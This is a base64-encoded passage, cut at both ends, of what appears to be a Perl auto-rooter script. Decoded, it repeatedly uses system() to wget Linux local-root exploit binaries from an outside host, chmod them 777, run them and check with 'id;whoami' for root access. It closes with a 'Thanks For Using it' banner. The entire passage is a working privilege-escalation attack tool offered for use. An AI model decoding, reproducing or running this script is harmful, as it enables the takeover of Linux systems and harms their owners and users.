1a2EubmV0L2xvY2Fscm9vdC8yLjYuNl9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi43X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi43X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC0yMDA4LjktNjctMjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjgtMjAwOC45LTY3LTIwMDgiKTsNCnN5c3RlbSgiLi8yLjYuOC0yMDA4LjktNjctMjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjgtNV9oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi44X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi44X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkiKTsNCnN5c3RlbSgiLi8yLjYuOSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0yMDA0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA0Iik7DQpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0yMDA4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA4Iik7DQpzeXN0ZW0oIi4vMi42LjktMjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0zNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMzQiKTsNCnN5c3RlbSgiLi8yLjYuOS0zNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS00Mi4wLjMuRUxzbXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS00Mi4wLjMuRUxzbXAtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgiLi8yLjYuOS00Mi4wLjMuRUxzbXAtMjAwNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNTUiKTsNCnN5c3RlbSgiLi8yLjYuOS01NSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NS0yMDA3LXBydjgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NS0yMDA4LXBydjgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDgtcHJ2OCIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDgtcHJ2OCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS02NzIwMDgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTY3MjAwOCIpOw0Kc3lzdGVtKCIuLzIuNi45LTY3MjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS4yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS4yIik7DQpzeXN0ZW0oIi4vMi42LjkuMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOTEtMjAwNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkxLTIwMDciKTsNCnN5c3RlbSgiLi8yLjYuOTEtMjAwNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMDA3Iik7DQpzeXN0ZW0oIi4vMjAwNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA5LWxvY2FsIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMDA5LWxvY2FsIik7DQpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA5LXd1bmRlcmJhciIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgiLi8yMDA5LXd1bmRlcmJhciIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDExIExvY2FsUm9vdCBGb3IgMi42LjE4LTEyOC5lbDUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCIuLzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjEiKTsNCnN5c3RlbSgiLi8yMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzIik7DQpzeXN0ZW0oIi4vMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zLjQuNi05LTIwMDciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDMuNC42LTktMjAwNyIpOw0Kc3lzdGVtKCIuLzMuNC42LTktMjAwNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMzEiKTsNCnN5c3RlbSgiLi8zMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zNi1yYzEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDM2LXJjMSIpOw0Kc3lzdGVtKCIuLzM2LXJjMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA0Iik7DQpzeXN0ZW0oIi4vNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNDQiKTsNCnN5c3RlbSgiLi80NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNDciKTsNCnN5c3RlbSgiLi80NyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA1Iik7DQpzeXN0ZW0oIi4vNSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81MCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTAiKTsNCnN5c3RlbSgiLi81MCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTQiKTsNCnN5c3RlbSgiLi81NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA2Iik7DQpzeXN0ZW0oIi4vNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNjciKTsNCnN5c3RlbSgiLi82NyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3Iik7DQpzeXN0ZW0oIi4vNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83LTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDctMiIpOw0Kc3lzdGVtKCIuLzctMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83eCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgN3giKTsNCnN5c3RlbSgiLi83eCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC84Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA4Iik7DQpzeXN0ZW0oIi4vOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA5Iik7DQpzeXN0ZW0oIi4vOSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85MCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTAiKTsNCnN5c3RlbSgiLi85MCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTQiKTsNCnN5c3RlbSgiLi85NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYoMSkuMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNigxKS4xMiIpOw0Kc3lzdGVtKCIuL0xpbnV4XzIuNigxKS4xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi4xMiIpOw0Kc3lzdGVtKCIuL0xpbnV4XzIuNi4xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuOS1qb29seXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi45LWpvb2x5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2FjaWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGFjaWQiKTsNCnN5c3RlbSgiLi9hY2lkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2QzdmlsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBkM3ZpbCIpOw0Kc3lzdGVtKCIuL2QzdmlsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDEiKTsNCnN5c3RlbSgiLi9leHAxIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDIiKTsNCnN5c3RlbSgiLi9leHAyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsNCnN5c3RlbSgiLi9leHAzIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cGxvaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQiKTsNCnN5c3RlbSgiLi9leHBsb2l0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2dheXJvcyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7DQpzeXN0ZW0oIi4vZ2F5cm9zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xlbmlzLnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsZW5pcy5zaCIpOw0Kc3lzdGVtKCIuL2xlbmlzLnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLTIuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsNCnN5c3RlbSgiLi9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3ByaXY0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBwcml2NCIpOw0Kc3lzdGVtKCIuL3ByaXY0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Jvb3QucHkiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJvb3QucHkiKTsNCnN5c3RlbSgiLi9yb290LnB5Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3J1bngiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJ1bngiKTsNCnN5c3RlbSgiLi9ydW54Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3VidW50dSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdWJ1bnR1Iik7DQpzeXN0ZW0oIi4vdWJ1bnR1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oIi4vdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3oxZC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyB6MWQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnByaW50ICJnZXQgcm9vdC4uLj8/P1xuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgVGhhbmtzIEZvciBVc2luZyBpdCAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8ICAgICAgIEpvaW4gdXMgb24gaHR0cDovL3RoZWNy